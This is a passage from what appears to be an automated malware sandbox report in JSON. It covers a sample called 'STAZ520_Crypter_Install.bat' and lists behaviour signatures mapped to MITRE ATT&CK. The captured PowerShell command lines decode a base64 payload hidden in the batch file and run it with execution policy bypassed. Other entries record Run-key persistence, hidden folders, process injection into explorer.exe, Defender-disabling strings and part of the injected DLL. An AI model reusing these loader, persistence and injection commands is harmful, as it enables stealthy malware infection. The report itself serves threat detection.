\"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"try { $content = Get-Content -LiteralPath 'C:\\\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}\"\" (UID: 00000000-00003984)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"do4x3zh4.0.cs\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001132-00000C2B-1106650318\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001132-00000C2B-1109225427\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001132-00000C2B-1109225907\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001132-00000C2B-1109225945\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001132)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003984)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del \"!TEMPPS!\" >nul 2>&1\" (Indicator: \"del \") in Source: STAZ520_Crypter_Install.bat","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilegeZ\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00001132.00000000.134891.76850000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilegeZ\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"207485C9254DDC0100000000000000000000000002000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$50","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"$51","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003984]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Redirects output to specified device/utility using PowerShell","description":"Process \"powershell.exe\" with commandline \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"try { $content = Get-Content -LiteralPath 'C:\\\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}\"\" (UID: 00000000-00003984)","origin":"Monitored Target","relevance":1,"id":"target-485","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1132)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3984)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 8016)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00001132)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"Set-Content '%APPDATA%\\\\Microsoft\\\\118f410eb6ac\\\\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''\"\" (UID: 00000000-00001132)\n Process \"powershell.exe\" with commandline \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"try { $content = Get-Content -LiteralPath 'C:\\\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}\"\" (UID: 00000000-00003984)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"%TEMP%\\\\ps_f8c40b9e.ps1\"\" (UID: 00000000-00008016)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"reg.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"reg.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"731D8CC2B9\"; Value: \"cmd.exe /c \"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001132)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00001132)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00003984)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00003984)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"file/memory contains long string with (Indicator: \"ping\"; File: \"STAZ520_Crypter_Install.bat\")\n Found string \"ping -n 2 127.0.0.1 >nul\" (Indicator: \"ping\"; File: \"STAZ520_Crypter_Install.bat\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00001132.00000001.135191.D9EB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$52","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"ps_f8c40b9e.ps1\" - Location: [%TEMP%\\ps_f8c40b9e.ps1]- [targetUID: 00000000-00003984]\n Dropped file: \"__PSScriptPolicyTest_imbh4u2m.0yx.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_imbh4u2m.0yx.ps1]- [targetUID: 00000000-00008016]\n Dropped file: \"__PSScriptPolicyTest_jiokcb5i.evl.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_jiokcb5i.evl.ps1]- [targetUID: 00000000-00001132]\n Dropped file: \"__PSScriptPolicyTest_onkt4v5k.4r3.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_onkt4v5k.4r3.ps1]- [targetUID: 00000000-00003984]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes the C# compiler","description":"Process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\do4x3zh4\\\\do4x3zh4.cmdline\"\" (UID: 00000000-00004252)","origin":"Monitored Target","mitre_attack_id":"T1027.004","relevance":1,"id":"target-57","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to change the attributes of the files","description":"Process \"attrib.exe\" with commandline \"attrib +h \"%APPDATA%\\\\Microsoft\\\\118f410eb6ac\"\" (UID: 00000000-00001176)","origin":"Monitored Target","mitre_attack_id":"T1564.001","relevance":3,"id":"target-166","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to create a thread in another process","description":"\"powershell.exe\" called \"CreateRemoteThread\" with parameters {\"hProcess\": \"2304\"\n \"lpThreadAttributes\": \"0\"\n \"dwStackSize\": \"0\"\n \"lpStartAddress\": \"72744960\"\n \"lpParameter\": \"0\"\n \"dwCreationFlags\": \"0\"\n \"lpThreadId\": \"0\"}","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-106","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"Executable loaded in memory \"MZ@\t!L!This program cannot be run in DOS mode.\n\n$PELEY\ti!N% @ @$O@` H.textT `.rsrc@@@.reloc`@B0%HX (\n*BSJBv4.0.30319l#~ #Strings$#US,#GUIDdo4x3zh4.dllWin32mscorlibSystemObjectOpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread.ctordwDesiredAccessbInheritHandledwProcessIdhProcesslpAddressdwSizeflAllocationTypeflProtectlpBaseAddressbuffersizelpNumberOfBytesWrittenlpThreadAttributesdwStackSizelpStartAddresslpParameterdwCreationFlagslpThreadIdSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributedo4x3zh4System.Runtime.InteropServicesDllImportAttributekernel32 O݌&HKNz\\V4\t\t\t\t\t\t\n\t\t TWrapNonExceptionThrows$%>% 0%_CorDllMainmscoree.dll% 0HX@LL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0,FileDescription 0FileVersion0.0.0.0<\nInternalNamedo4x3zh4.dll(LegalCopyright D\nOriginalFilenamedo4x3zh4.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0 P5\"","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Creates a thread in a remote process","description":"\"powershell.exe\" creates a thread in process \"C:\\Windows\\explorer.exe\" (Handle: 2296)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":8,"id":"api-18","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2288)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2288)\n \"powershell.exe\" wrote 000AFA7B bytes to a remote process \"C:\\Windows\\explorer.exe\" (Handle: 2304)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"Process \"powershell.exe\" with commandline \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"Set-Content '%APPDATA%\\\\Microsoft\\\\118f410eb6ac\\\\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''\"\" (UID: 00000000-00001132)\n Process \"powershell.exe\" with commandline \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"try { $content = Get-Content -LiteralPath 'C:\\\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}\"\" (UID: 00000000-00003984)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"%TEMP%\\\\ps_f8c40b9e.ps1\"\" (UID: 00000000-00008016)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$53","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"3868\" - (UID: 00000000-00003868)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"7020\" - (UID: 00000000-00007020)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"4632\" - (UID: 00000000-00004632)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"cmd.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"15068083486,5540,3025,,RtlGetNtProductType,NTDLL.dll,\"00:42:49.046\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00003868.00000001.164457.72A10000.00000004.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003868.00000001.164457.C2E62000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004632.00000000.165605.C51E2000.00000002.mdmp, 00000000-00004632.00000002.169446.A5C38000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003868)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007020)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004632)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"15616974674,4588,3146,,GetComputerNameW,kernel32.dll,\"00:42:49.281\",RX=0,PX=0\" (Indicator: \"GetComputerName\"; Source: \"00000000-00003868.00000001.164457.75420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003868.00000001.164457.C2E62000.00000002.mdmp\")\n Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00004632.00000000.165605.C51E2000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00003868.00000001.164457.C2E62000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00003868.00000001.164457.C2E62000.00000002.mdmp\")\n Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00004632.00000000.165605.C51E2000.00000002.mdmp, 00000000-00004632.00000002.169446.A5C38000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00004632.00000000.165605.C51E2000.00000002.mdmp, 00000000-00004632.00000002.169446.A5C38000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$54","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]}],"incidents":[{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for 